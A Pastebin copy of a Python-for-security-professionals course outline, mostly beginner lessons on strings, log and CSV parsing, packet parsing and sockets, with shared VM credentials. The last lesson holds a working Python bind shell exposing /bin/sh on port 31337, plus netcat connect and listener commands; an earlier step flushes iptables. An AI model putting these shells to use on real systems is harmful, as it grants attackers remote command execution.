Advertisement
joemccray

Python Immersion 2018

Oct 30th, 2017
2,279
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #########################################
  2. # Here is the courseware for this month #
  3. #########################################
  4.  
  5. Class powerpoint slides:
  6. http://45.63.104.73/PythonV3-1.pptx
  7.  
  8.  
  9.  
  10. Courseware Lab Manual
  11. http://45.63.104.73//Python-For-InfoSec-Pros-2015.pdf
  12.  
  13.  
  14. Class Videos:
  15. https://s3.amazonaws.com/infosecaddictsvideos/2017-07-31+09.32+Python+for+InfoSec+Professionals.mp4
  16. https://s3.amazonaws.com/infosecaddictsvideos/2017-08-01+09.40+Python+for+InfoSec+Professionals.mp4
  17. https://s3.amazonaws.com/infosecaddictsvideos/2017-08-02+09.37+Python+for+InfoSec+Professionals.mp4
  18. https://s3.amazonaws.com/infosecaddictsvideos/2017-08-03+10.29+Python+for+InfoSec+Professionals.mp4
  19.  
  20.  
  21. Resource files:
  22. http://45.63.104.73/Python4SecurityPros-Files.zip
  23.  
  24. https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
  25. user: infosecaddicts
  26. pass: infosecaddicts
  27.  
  28.  
  29.  
  30.  
  31. The youtube video playlist that I'd like for you to watch is located here:
  32. https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA
  33.  
  34.  
  35. How I did it:
  36.  
  37. Step 1: Watch and do the newboston Python video series twice
  38. https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA
  39.  
  40.  
  41. Step 2: Watch and do the Google Python workshop twice
  42. https://www.youtube.com/playlist?list=PLfZeRfzhgQzTMgwFVezQbnpc1ck0I6CQl
  43.  
  44.  
  45. Step 3: Download all of the Python tools from PacketStorm and analyze the source code
  46. https://packetstormsecurity.com/files/tags/python
  47.  
  48.  
  49. Here is the code from Packet Storm
  50. http://45.63.104.73/PythonReferenceCode.zip
  51.  
  52. I went through almost every single file and looked up the code that I didn't understand.
  53. I also asked programmers to help me understand the lines of code that didn't make sense.
  54. In the folder RAC-Brute I actually had to hire a developer from an outsourcing website to comment,
  55. and explain the tool to me.
  56.  
  57. Here is what I got out of doing that:
  58. https://s3.amazonaws.com/infosecaddictsfiles/sorted-commented-python-files.zip
  59.  
  60.  
  61.  
  62. Distilled that into this:
  63. http://45.63.104.73/Python-Courseware.zip
  64.  
  65.  
  66.  
  67. ##############################
  68. ----------- ############### # Day 1: Python Fundamentals # ############### -----------
  69. ##############################
  70.  
  71.  
  72. ####################
  73. # Installing Python#
  74. ####################
  75. Windows
  76. 32-Bit Version
  77. http://www.python.org/ftp/python/2.7.5/python-2.7.5.msi
  78.  
  79. 64-Bit Version
  80. http://www.python.org/ftp/python/2.7.5/python-2.7.5.amd64.msi
  81.  
  82. After you install Python in Windows the next thing you may want to install is IdleX:
  83. http://idlex.sourceforge.net/features.html
  84.  
  85. ---------------------------Type This-----------------------------------
  86.  
  87. Linux
  88. Debian/Ubuntu: sudo apt-get install -y python
  89. RHEL/CentOS/Fedora: sudo yum install -y python
  90.  
  91. -----------------------------------------------------------------------
  92.  
  93.  
  94. After you install Python in Linux the next thing that you will need to do is install idle.
  95.  
  96. ---------------------------Type This-----------------------------------
  97.  
  98. sudo apt-get install -y idle
  99.  
  100. -----------------------------------------------------------------------
  101.  
  102. Open IDLE, and let's just dive right in.
  103.  
  104.  
  105.  
  106.  
  107. #####################################
  108. #Python Lesson 1: Simple Printing #
  109. #####################################
  110.  
  111. ---------------------------Type This-----------------------------------
  112. $ python
  113.  
  114. >>> print "Today we are learning Python."
  115.  
  116. -----------------------------------------------------------------------
  117.  
  118.  
  119.  
  120.  
  121. #############################################
  122. #Python Lesson 2: Simple Numbers and Math #
  123. #############################################
  124.  
  125. ---------------------------Type This-----------------------------------
  126.  
  127. >>> 2+2
  128.  
  129. >>> 6-3
  130.  
  131. >>> 18/7
  132.  
  133. >>> 18.0/7
  134.  
  135. >>> 18.0/7.0
  136.  
  137. >>> 18/7
  138.  
  139. >>> 9%4
  140.  
  141. >>> 8%4
  142.  
  143. >>> 8.75%.5
  144.  
  145. >>> 6.*7
  146.  
  147. >>> 6*6*6
  148.  
  149. >>> 6**3
  150.  
  151. >>> 5**12
  152.  
  153. >>> -5**4
  154.  
  155.  
  156. -----------------------------------------------------------------------
  157.  
  158.  
  159.  
  160. ###############################
  161. #Python Lesson 3: Variables #
  162. ###############################
  163.  
  164. ---------------------------Type This-----------------------------------
  165.  
  166. >>> x=18
  167.  
  168. >>> x+15
  169.  
  170. >>> x**3
  171.  
  172. >>> y=54
  173.  
  174. >>> x+y
  175.  
  176. >>> g=input("Enter number here: ")
  177. 43
  178.  
  179. >>> g+32
  180.  
  181. >>> g**3
  182.  
  183.  
  184. -----------------------------------------------------------------------
  185.  
  186.  
  187.  
  188.  
  189.  
  190. ###########################################
  191. #Python Lesson 4: Modules and Functions #
  192. ###########################################
  193.  
  194. ---------------------------Type This-----------------------------------
  195.  
  196. >>> 5**4
  197.  
  198. >>> pow(5,4)
  199.  
  200. >>> abs(-18)
  201.  
  202. >>> abs(5)
  203.  
  204. >>> floor(18.7)
  205.  
  206. >>> import math
  207.  
  208. >>> math.floor(18.7)
  209.  
  210. >>> math.sqrt(81)
  211.  
  212. >>> joe = math.sqrt
  213.  
  214. >>> joe(9)
  215.  
  216. >>> joe=math.floor
  217.  
  218. >>> joe(19.8)
  219.  
  220.  
  221.  
  222. -----------------------------------------------------------------------
  223.  
  224.  
  225.  
  226. #############################
  227. #Python Lesson 5: Strings #
  228. #############################
  229.  
  230. ---------------------------Type This-----------------------------------
  231.  
  232.  
  233. >>> "XSS"
  234.  
  235. >>> 'SQLi'
  236.  
  237. >>> "Joe's a python lover"
  238.  
  239. >>> 'Joe\'s a python lover'
  240.  
  241. >>> "Joe said \"InfoSec is fun\" to me"
  242.  
  243. >>> a = "Joe"
  244.  
  245. >>> b = "McCray"
  246.  
  247. >>> a, b
  248.  
  249. >>> a+b
  250.  
  251.  
  252. -----------------------------------------------------------------------
  253.  
  254.  
  255.  
  256.  
  257.  
  258. ##################################
  259. #Python Lesson 6: More Strings #
  260. ##################################
  261.  
  262. ---------------------------Type This-----------------------------------
  263.  
  264.  
  265. >>> num = 10
  266.  
  267. >>> num + 2
  268.  
  269. >>> "The number of open ports found on this system is " + num
  270.  
  271. >>> num = str(18)
  272.  
  273. >>> "There are " + num + " vulnerabilities found in this environment."
  274.  
  275. >>> num2 = 46
  276.  
  277. >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is " + `num2`
  278.  
  279.  
  280. -----------------------------------------------------------------------
  281.  
  282.  
  283.  
  284.  
  285.  
  286. #########################################
  287. #Python Lesson 7: Sequences and Lists #
  288. #########################################
  289.  
  290. ---------------------------Type This-----------------------------------
  291.  
  292. >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
  293.  
  294. >>> attacks
  295. ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
  296.  
  297. >>> attacks[3]
  298. 'SQL Injection'
  299.  
  300. >>> attacks[-2]
  301. 'Cross-Site Scripting'
  302.  
  303. >>> exit()
  304.  
  305. -----------------------------------------------------------------------
  306.  
  307.  
  308.  
  309.  
  310. ###################################
  311. # Level 8: Intro to Log Analysis #
  312. ###################################
  313.  
  314.  
  315. Log into your Linux host then execute the following commands:
  316. -----------------------------------------------------------------------
  317. NOTE: If you are still in your python interpreter then you must type exit() to get back to a regular command-prompt.
  318.  
  319.  
  320.  
  321. ---------------------------Type This-----------------------------------
  322.  
  323. wget http://pastebin.com/raw/85zZ5TZX
  324.  
  325. mv 85zZ5TZX access_log
  326.  
  327.  
  328. cat access_log | grep 141.101.80.188
  329.  
  330. cat access_log | grep 141.101.80.187
  331.  
  332. cat access_log | grep 108.162.216.204
  333.  
  334. cat access_log | grep 173.245.53.160
  335.  
  336. ----------------------------------------------------------------------
  337.  
  338.  
  339.  
  340.  
  341.  
  342. Google the following terms:
  343. - Python read file
  344. - Python read line
  345. - Python read from file
  346.  
  347.  
  348.  
  349.  
  350. ################################################################
  351. #Python Lesson 9: Use Python to read in a file line by line #
  352. ################################################################
  353.  
  354.  
  355. Reference:
  356. http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python/
  357.  
  358.  
  359.  
  360. ---------------------------Type This-----------------------------------
  361.  
  362. nano logread1.py
  363.  
  364.  
  365. ---------------------------Paste This-----------------------------------
  366. ## Open the file with read only permit
  367. f = open('access_log', "r")
  368.  
  369. ## use readlines to read all lines in the file
  370. ## The variable "lines" is a list containing all lines
  371. lines = f.readlines()
  372.  
  373. print lines
  374.  
  375.  
  376. ## close the file after reading the lines.
  377. f.close()
  378.  
  379. ----------------------------------------------------------------------
  380.  
  381.  
  382.  
  383.  
  384. ---------------------------Type This-----------------------------------
  385. python logread1.py
  386. ----------------------------------------------------------------------
  387.  
  388.  
  389.  
  390. Google the following:
  391. - python difference between readlines and readline
  392. - python readlines and readline
  393.  
  394.  
  395.  
  396.  
  397.  
  398.  
  399.  
  400.  
  401. ########################################
  402. #Python Lesson 10: A quick challenge #
  403. ########################################
  404.  
  405. Can you write an if/then statement that looks for this IP and print the log file line that contains the IP address?
  406.  
  407.  
  408. 141.101.81.187
  409.  
  410.  
  411.  
  412.  
  413.  
  414.  
  415. ---------------------------------------------------------
  416. Hint 1: Use Python to look for a value in a list
  417.  
  418. Reference:
  419. http://www.wellho.net/mouth/1789_Looking-for-a-value-in-a-list-Python.html
  420.  
  421.  
  422.  
  423.  
  424. ---------------------------------------------------------
  425. Hint 2: Use Python to prompt for user input
  426.  
  427. Reference:
  428. http://www.cyberciti.biz/faq/python-raw_input-examples/
  429.  
  430.  
  431.  
  432.  
  433. ---------------------------------------------------------
  434. Hint 3: Use Python to search for a string in a list
  435.  
  436. Reference:
  437. http://stackoverflow.com/questions/4843158/check-if-a-python-list-item-contains-a-string-inside-another-string
  438.  
  439.  
  440.  
  441.  
  442.  
  443. Here is my solution:
  444.  
  445. ---------------------------Type This-----------------------------------
  446.  
  447. $ python
  448. >>> f = open('access_log', "r")
  449. >>> lines = f.readlines()
  450. >>> ip = '141.101.81.187'
  451. >>> for string in lines:
  452. ... if ip in string:
  453. ... print(string)
  454.  
  455. ----------------------------------------------------------------------
  456.  
  457.  
  458. Here is one student's solution - can you please explain each line of this code to me?
  459.  
  460.  
  461. ---------------------------Type This-----------------------------------
  462. exit()
  463. nano ip_search.py
  464.  
  465. ---------------------------Paste This-----------------------------------
  466. #!/usr/bin/python
  467.  
  468. f = open('access_log')
  469.  
  470. strUsrinput = raw_input("Enter IP Address: ")
  471.  
  472. for line in iter(f):
  473. ip = line.split(" - ")[0]
  474. if ip == strUsrinput:
  475. print line
  476.  
  477. f.close()
  478.  
  479. ----------------------------------------------------------------------
  480.  
  481.  
  482.  
  483.  
  484. ---------------------------Type This-----------------------------------
  485. python ip_search.py
  486. ----------------------------------------------------------------------
  487.  
  488.  
  489.  
  490.  
  491.  
  492.  
  493.  
  494.  
  495. Working with another student after class we came up with another solution:
  496.  
  497. ---------------------------Type This-----------------------------------
  498. nano ip_search2.py
  499.  
  500. ---------------------------Paste This-----------------------------------
  501. #!/usr/bin/env python
  502.  
  503.  
  504. # This line opens the log file
  505. f=open('access_log',"r")
  506.  
  507. # This line takes each line in the log file and stores it as an element in the list
  508. lines = f.readlines()
  509.  
  510.  
  511. # This lines stores the IP that the user types as a var called userinput
  512. userinput = raw_input("Enter the IP you want to search for: ")
  513.  
  514.  
  515.  
  516. # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
  517. for ip in lines:
  518. if ip.find(userinput) != -1:
  519. print ip
  520.  
  521. ----------------------------------------------------------------------
  522.  
  523.  
  524.  
  525. ---------------------------Type This-----------------------------------
  526. python ip_search2.py
  527. ----------------------------------------------------------------------
  528.  
  529.  
  530. ##################################################
  531. # Lession 14: Look for web attacks in a log file #
  532. ##################################################
  533.  
  534. In this lab we will be looking at the scan_log.py script and it will scan the server log to find out common hack attempts within your web server log.
  535. Supported attacks:
  536. 1. SQL Injection
  537. 2. Local File Inclusion
  538. 3. Remote File Inclusion
  539. 4. Cross-Site Scripting
  540.  
  541.  
  542. ---------------------------Type This-----------------------------------
  543.  
  544. wget http://45.63.104.73/scan_log.py
  545.  
  546. ----------------------------------------------------------------------
  547.  
  548. The usage for scan_log.py is simple. You feed it an apache log file.
  549.  
  550. ---------------------------Type This-----------------------------------
  551.  
  552. cat scan_log.py | less (use your up/down arrow keys to look through the file)
  553.  
  554. ----------------------------------------------------------------------
  555.  
  556. Explain to me how this script works.
  557.  
  558.  
  559.  
  560. ################################
  561. # Lesson 15: Parsing CSV Files #
  562. ################################
  563.  
  564. Dealing with csv files
  565.  
  566. Reference:
  567. http://www.pythonforbeginners.com/systems-programming/using-the-csv-module-in-python/
  568.  
  569. Type the following commands:
  570. ---------------------------------------------------------------------------------------------------------
  571.  
  572. ---------------------------Type This-----------------------------------
  573.  
  574. wget http://45.63.104.73/class_nessus.csv
  575.  
  576. ----------------------------------------------------------------------
  577.  
  578. Example 1 - Reading CSV files
  579. -----------------------------
  580. #To be able to read csv formated files, we will first have to import the
  581. #csv module.
  582.  
  583.  
  584. ---------------------------Type This-----------------------------------
  585. python
  586. import csv
  587. with open('class_nessus.csv', 'rb') as f:
  588. reader = csv.reader(f)
  589. for row in reader:
  590. print row
  591.  
  592.  
  593. ----------------------------------------------------------------------
  594.  
  595.  
  596.  
  597.  
  598. Example 2 - Reading CSV files
  599. -----------------------------
  600.  
  601. ---------------------------Type This-----------------------------------
  602.  
  603. vi readcsv.py
  604.  
  605. ---------------------------Paste This-----------------------------------
  606. #!/usr/bin/python
  607. import csv # imports the csv module
  608. import sys # imports the sys module
  609.  
  610. f = open(sys.argv[1], 'rb') # opens the csv file
  611. try:
  612. reader = csv.reader(f) # creates the reader object
  613. for row in reader: # iterates the rows of the file in orders
  614. print row # prints each row
  615. finally:
  616. f.close() # closing
  617.  
  618.  
  619.  
  620. ----------------------------------------------------------------------
  621.  
  622.  
  623.  
  624. Ok, now let's run this thing.
  625.  
  626. --------------------------Type This-----------------------------------
  627. python readcsv.py
  628.  
  629. python readcsv.py class_nessus.csv
  630. ----------------------------------------------------------------------
  631.  
  632.  
  633.  
  634.  
  635.  
  636. Example 3 - - Reading CSV files
  637. -------------------------------
  638.  
  639. ---------------------------Type This-----------------------------------
  640.  
  641. vi readcsv2.py
  642.  
  643. ---------------------------Paste This-----------------------------------
  644. #!/usr/bin/python
  645. # This program will then read it and displays its contents.
  646.  
  647.  
  648. import csv
  649.  
  650. ifile = open('class_nessus.csv', "rb")
  651. reader = csv.reader(ifile)
  652.  
  653. rownum = 0
  654. for row in reader:
  655. # Save header row.
  656. if rownum == 0:
  657. header = row
  658. else:
  659. colnum = 0
  660. for col in row:
  661. print '%-8s: %s' % (header[colnum], col)
  662. colnum += 1
  663.  
  664. rownum += 1
  665.  
  666. ifile.close()
  667.  
  668.  
  669. ----------------------------------------------------------------------
  670.  
  671.  
  672.  
  673. ---------------------------Type This-----------------------------------
  674.  
  675. python readcsv2.py | less
  676.  
  677.  
  678. ----------------------------------------------------------------------
  679.  
  680.  
  681.  
  682.  
  683.  
  684. ---------------------------Type This-----------------------------------
  685.  
  686. vi readcsv3.py
  687.  
  688. ---------------------------Paste This-----------------------------------
  689. #!/usr/bin/python
  690. import csv
  691. f = open('class_nessus.csv', 'rb')
  692. try:
  693. rownum = 0
  694. reader = csv.reader(f)
  695. for row in reader:
  696. #Save header row.
  697. if rownum == 0:
  698. header = row
  699. else:
  700. colnum = 0
  701. if row[3].lower() == 'high':
  702. print '%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])
  703. rownum += 1
  704. finally:
  705. f.close()
  706.  
  707. -----------------------------------------------------------------------
  708.  
  709.  
  710. ---------------------------Type This-----------------------------------
  711.  
  712. python readcsv3.py | less
  713. -----------------------------------------------------------------------
  714.  
  715.  
  716.  
  717.  
  718.  
  719. ---------------------------Type This-----------------------------------
  720.  
  721. vi readcsv4.py
  722. -----------------------------------------------------------------------
  723.  
  724. ---------------------------Paste This-----------------------------------
  725.  
  726. #!/usr/bin/python
  727. import csv
  728. f = open('class_nessus.csv', 'rb')
  729. try:
  730. print '/---------------------------------------------------/'
  731. rownum = 0
  732. hosts = {}
  733. reader = csv.reader(f)
  734. for row in reader:
  735. # Save header row.
  736. if rownum == 0:
  737. header = row
  738. else:
  739. colnum = 0
  740. if row[3].lower() == 'high' and row[4] not in hosts:
  741. hosts[row[4]] = row[4]
  742. print '%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])
  743. rownum += 1
  744. finally:
  745. f.close()
  746.  
  747.  
  748. python readcsv4.py | less
  749.  
  750. ----------------------------------------------------------------------
  751.  
  752.  
  753.  
  754.  
  755.  
  756.  
  757.  
  758.  
  759. #################################################
  760. # Lesson 16: Parsing Packets with Python's DPKT #
  761. #################################################
  762. The first thing that you will need to do is install dpkt.
  763.  
  764. ---------------------------Type This-----------------------------------
  765.  
  766.  
  767. sudo apt-get install -y python-dpkt
  768.  
  769. ----------------------------------------------------------------------
  770.  
  771.  
  772.  
  773. Now cd to your courseware directory, and the cd into the subfolder '2-PCAP-Parsing/Resources'.
  774. Run tcpdump to capture a .pcap file that we will use for the next exercise
  775.  
  776. ---------------------------Type This-----------------------------------
  777.  
  778. sudo tcpdump -ni ens3 -s0 -w quick.pcap
  779.  
  780. ----------------------------------------------------------------------
  781.  
  782. --open another command prompt--
  783.  
  784. ---------------------------Type This-----------------------------------
  785.  
  786.  
  787. wget http://packetlife.net/media/library/12/tcpdump.pdf
  788.  
  789. ----------------------------------------------------------------------
  790.  
  791. Let's do something simple:
  792.  
  793. ---------------------------Type This-----------------------------------
  794.  
  795.  
  796. vi quickpcap.py
  797.  
  798. ---------------------------Paste This-----------------------------------
  799.  
  800. #!/usr/bin/python
  801. import dpkt;
  802.  
  803. # Simple script to read the timestamps in a pcap file
  804. # Reference: http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-0-simple-example-how-to.html
  805.  
  806. f = open("quick.pcap","rb")
  807. pcap = dpkt.pcap.Reader(f)
  808.  
  809. for ts, buf in pcap:
  810. print ts;
  811.  
  812. f.close();
  813.  
  814.  
  815. ----------------------------------------------------------------------
  816.  
  817.  
  818. Now let's run the script we just wrote
  819.  
  820. ---------------------------Type This-----------------------------------
  821.  
  822. python quickpcap.py
  823.  
  824. ----------------------------------------------------------------------
  825.  
  826.  
  827.  
  828. How dpkt breaks down a packet:
  829.  
  830. Reference:
  831. http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-1-dpkt-sub-modules.html
  832.  
  833. src: the MAC address of SOURCE.
  834. dst: The MAC address of DESTINATION
  835. type: The protocol type of contained ethernet payload.
  836.  
  837. The allowed values are listed in the file "ethernet.py",
  838. such as:
  839. a) ETH_TYPE_IP: It means that the ethernet payload is IP layer data.
  840. b) ETH_TYPE_IPX: Means that the ethernet payload is IPX layer data.
  841.  
  842.  
  843. References:
  844. http://stackoverflow.com/questions/6337878/parsing-pcap-files-with-dpkt-python
  845.  
  846.  
  847.  
  848.  
  849.  
  850.  
  851. Ok - now let's have a look at pcapparsing.py
  852.  
  853. ---------------------------Type This-----------------------------------
  854.  
  855.  
  856. sudo tcpdump -ni ens3 -s0 -w capture-100.pcap
  857.  
  858. ----------------------------------------------------------------------
  859.  
  860. --open another command prompt--
  861.  
  862. ---------------------------Type This-----------------------------------
  863.  
  864.  
  865. wget http://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf
  866.  
  867. ----------------------------------------------------------------------
  868.  
  869.  
  870. Ok - now let's have a look at pcapparsing.py
  871.  
  872.  
  873. --------------------------------------------------------------
  874.  
  875.  
  876. import socket
  877. import dpkt
  878. import sys
  879. f = open('capture-100.pcap','r')
  880. pcapReader = dpkt.pcap.Reader(f)
  881.  
  882. for ts,data in pcapReader:
  883. ether = dpkt.ethernet.Ethernet(data)
  884. if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
  885. ip = ether.data
  886. tcp = ip.data
  887. src = socket.inet_ntoa(ip.src)
  888. srcport = tcp.sport
  889. dst = socket.inet_ntoa(ip.dst)
  890. dstport = tcp.dport
  891. print "src: %s (port : %s)-> dest: %s (port %s)" % (src,srcport ,dst,dstport)
  892.  
  893. f.close()
  894.  
  895. ----------------------------------------------------------------------
  896.  
  897.  
  898.  
  899. OK - let's run it:
  900.  
  901. ---------------------------Type This-----------------------------------
  902.  
  903. python pcapparsing.py
  904.  
  905. ----------------------------------------------------------------------
  906.  
  907.  
  908. running this script might throw an error like this:
  909.  
  910. Traceback (most recent call last):
  911. File "pcapparsing.py", line 9, in <module>
  912. if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
  913.  
  914.  
  915. If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
  916.  
  917.  
  918.  
  919.  
  920. Your homework for today...
  921.  
  922.  
  923. Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
  924.  
  925.  
  926.  
  927.  
  928.  
  929.  
  930. Your challenge is to fix the Traceback error
  931.  
  932. ---------------------------Paste This-----------------------------------
  933.  
  934. #!/usr/bin/python
  935.  
  936. import pcapy
  937. import dpkt
  938. import sys
  939. import socket
  940. import struct
  941.  
  942. SINGLE_SHOT = False
  943.  
  944. # list all the network devices
  945. pcapy.findalldevs()
  946.  
  947. iface = "ens3"
  948. filter = "arp"
  949. max_bytes = 1024
  950. promiscuous = False
  951. read_timeout = 100 # in milliseconds
  952.  
  953. pc = pcapy.open_live( iface, max_bytes, promiscuous, read_timeout )
  954. pc.setfilter( filter )
  955.  
  956. # callback for received packets
  957. def recv_pkts( hdr, data ):
  958. packet = dpkt.ethernet.Ethernet( data )
  959.  
  960. print type( packet.data )
  961. print "ipsrc: %s, ipdst: %s" %( \
  962. socket.inet_ntoa( packet.data.spa ), \
  963. socket.inet_ntoa( packet.data.tpa ) )
  964.  
  965. print "macsrc: %s, macdst: %s " % (
  966. "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.sha),
  967. "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.tha ) )
  968.  
  969. if SINGLE_SHOT:
  970. header, data = pc.next()
  971. sys.exit(0)
  972. else:
  973. packet_limit = -1 # infinite
  974. pc.loop( packet_limit, recv_pkts ) # capture packets
  975.  
  976. ----------------------------------------------------------------------
  977.  
  978.  
  979. ##################################
  980. # Day 1 Homework videos to watch #
  981. ##################################
  982. Here is your first set of youtube videos that I'd like for you to watch:
  983. https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 1-10)
  984.  
  985. How to install idle in Mac OS X:
  986. https://stackoverflow.com/questions/8792044/how-do-i-launch-idle-the-development-environment-for-python-on-mac-os-10-7
  987.  
  988.  
  989.  
  990.  
  991. ########################
  992. # Day 1 Challenge task #
  993. ########################
  994. Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
  995.  
  996. Running the current version of the script may give you an error like this:
  997.  
  998. Traceback (most recent call last):
  999. File "pcapparsing.py", line 9, in <module>
  1000. if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
  1001.  
  1002.  
  1003. If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
  1004.  
  1005. Your challenge task is to fix the Traceback error
  1006.  
  1007.  
  1008.  
  1009.  
  1010.  
  1011.  
  1012.  
  1013.  
  1014.  
  1015.  
  1016.  
  1017.  
  1018.  
  1019.  
  1020.  
  1021.  
  1022.  
  1023.  
  1024.  
  1025. #################################
  1026. ----------- ############### # Day 2: Python sockets & Scapy # ############### -----------
  1027. #################################
  1028.  
  1029.  
  1030.  
  1031.  
  1032.  
  1033. #############################################
  1034. # Lesson 17: Python Sockets & Port Scanning #
  1035. #############################################
  1036.  
  1037. ---------------------------Type This-----------------------------------
  1038.  
  1039. $ sudo /sbin/iptables -F
  1040.  
  1041. $ ncat -l -v -p 1234
  1042.  
  1043. ----------------------------------------------------------------------
  1044.  
  1045.  
  1046.  
  1047. --open another terminal--
  1048.  
  1049. ---------------------------Type This-----------------------------------
  1050.  
  1051. python
  1052.  
  1053. >>> import socket
  1054. >>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1055. >>> s.connect(('localhost', 1234))
  1056. >>> s.send('Hello, world')
  1057. >>> data = s.recv(1024)
  1058. >>> s.close()
  1059.  
  1060. >>> print 'Received', data
  1061.  
  1062.  
  1063. ----------------------------------------------------------------------
  1064.  
  1065.  
  1066.  
  1067.  
  1068. ########################################
  1069. # Lesson 18: TCP Client and TCP Server #
  1070. ########################################
  1071.  
  1072. ---------------------------Type This-----------------------------------
  1073.  
  1074.  
  1075. vi tcpclient.py
  1076.  
  1077. ---------------------------Paste This-----------------------------------
  1078.  
  1079.  
  1080. #!/usr/bin/python
  1081. # tcpclient.py
  1082.  
  1083. import socket
  1084.  
  1085. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1086. hostport = ("127.0.0.1", 1337)
  1087. s.connect(hostport)
  1088. s.send("Hello\n")
  1089. buf = s.recv(1024)
  1090. print "Received", buf
  1091.  
  1092.  
  1093.  
  1094. ----------------------------------------------------------------------
  1095.  
  1096.  
  1097. ---------------------------Type This-----------------------------------
  1098.  
  1099.  
  1100.  
  1101.  
  1102. vi tcpserver.py
  1103.  
  1104.  
  1105. ---------------------------Paste This-----------------------------------
  1106.  
  1107.  
  1108. #!/usr/bin/python
  1109. # tcpserver.py
  1110.  
  1111. import socket
  1112.  
  1113. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1114. hostport = ("", 1337)
  1115. s.bind(hostport)
  1116. s.listen(10)
  1117. while 1:
  1118. cli,addr = s.accept()
  1119. print "Connection from", addr
  1120. buf = cli.recv(1024)
  1121. print "Received", buf
  1122. if buf == "Hello\n":
  1123. cli.send("Server ID 1\n")
  1124. cli.close()
  1125.  
  1126.  
  1127.  
  1128.  
  1129. ----------------------------------------------------------------------
  1130.  
  1131.  
  1132. ---------------------------Type This-----------------------------------
  1133.  
  1134.  
  1135. python tcpserver.py
  1136.  
  1137.  
  1138. --open another terminal--
  1139. python tcpclient.py
  1140.  
  1141. ----------------------------------------------------------------------
  1142.  
  1143. ########################################
  1144. # Lesson 19: UDP Client and UDP Server #
  1145. ########################################
  1146.  
  1147. ---------------------------Type This-----------------------------------
  1148.  
  1149. vi udpclient.py
  1150.  
  1151.  
  1152.  
  1153. ---------------------------Paste This-----------------------------------
  1154.  
  1155.  
  1156.  
  1157. #!/usr/bin/python
  1158. # udpclient.py
  1159.  
  1160. import socket
  1161.  
  1162. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  1163. hostport = ("127.0.0.1", 1337)
  1164. s.sendto("Hello\n", hostport)
  1165. buf = s.recv(1024)
  1166. print buf
  1167.  
  1168.  
  1169.  
  1170. ----------------------------------------------------------------------
  1171.  
  1172.  
  1173.  
  1174.  
  1175. ---------------------------Type This-----------------------------------
  1176.  
  1177.  
  1178. vi udpserver.py
  1179.  
  1180.  
  1181. ---------------------------Paste This-----------------------------------
  1182.  
  1183.  
  1184.  
  1185.  
  1186. #!/usr/bin/python
  1187. # udpserver.py
  1188.  
  1189. import socket
  1190.  
  1191. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  1192. hostport = ("127.0.0.1", 1337)
  1193. s.bind(hostport)
  1194. while 1:
  1195. buf, address = s.recvfrom(1024)
  1196. print buf
  1197. if buf == "Hello\n":
  1198. s.sendto("Server ID 1\n", address)
  1199.  
  1200.  
  1201. ----------------------------------------------------------------------
  1202.  
  1203.  
  1204. ---------------------------Type This-----------------------------------
  1205.  
  1206.  
  1207. python udpserver.py
  1208.  
  1209.  
  1210. --open another terminal--
  1211. python udpclient.py
  1212.  
  1213. ----------------------------------------------------------------------
  1214.  
  1215.  
  1216. ######################################
  1217. # Lesson 20: Bind and Reverse Shells #
  1218. ######################################
  1219.  
  1220. ---------------------------Type This-----------------------------------
  1221.  
  1222.  
  1223. vi simplebindshell.py
  1224.  
  1225. ---------------------------Paste This-----------------------------------
  1226.  
  1227. #!/bin/python
  1228. import os,sys,socket
  1229.  
  1230. ls = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
  1231. print '-Creating socket..'
  1232. port = 31337
  1233. try:
  1234. ls.bind(('', port))
  1235. print '-Binding the port on '
  1236. ls.listen(1)
  1237. print '-Listening, '
  1238. (conn, addr) = ls.accept()
  1239. print '-Waiting for connection...'
  1240. cli= conn.fileno()
  1241. print '-Redirecting shell...'
  1242. os.dup2(cli, 0)
  1243. print 'In, '
  1244. os.dup2(cli, 1)
  1245. print 'Out, '
  1246. os.dup2(cli, 2)
  1247. print 'Err'
  1248. print 'Done!'
  1249. arg0='/bin/sh'
  1250. arg1='-a'
  1251. args=[arg0]+[arg1]
  1252. os.execv(arg0, args)
  1253. except(socket.error):
  1254. print 'fail\n'
  1255. conn.close()
  1256. sys.exit(1)
  1257.  
  1258. ----------------------------------------------------------------------
  1259.  
  1260.  
  1261.  
  1262. ---------------------------Type This-----------------------------------
  1263.  
  1264. nc TARGETIP 31337
  1265.  
  1266. ----------------------------------------------------------------------
  1267.  
  1268.  
  1269. ---------------------
  1270. Preparing the target for a reverse shell
  1271.  
  1272. ---------------------------Type This-----------------------------------
  1273.  
  1274. $ ncat -lvp 4444
  1275.  
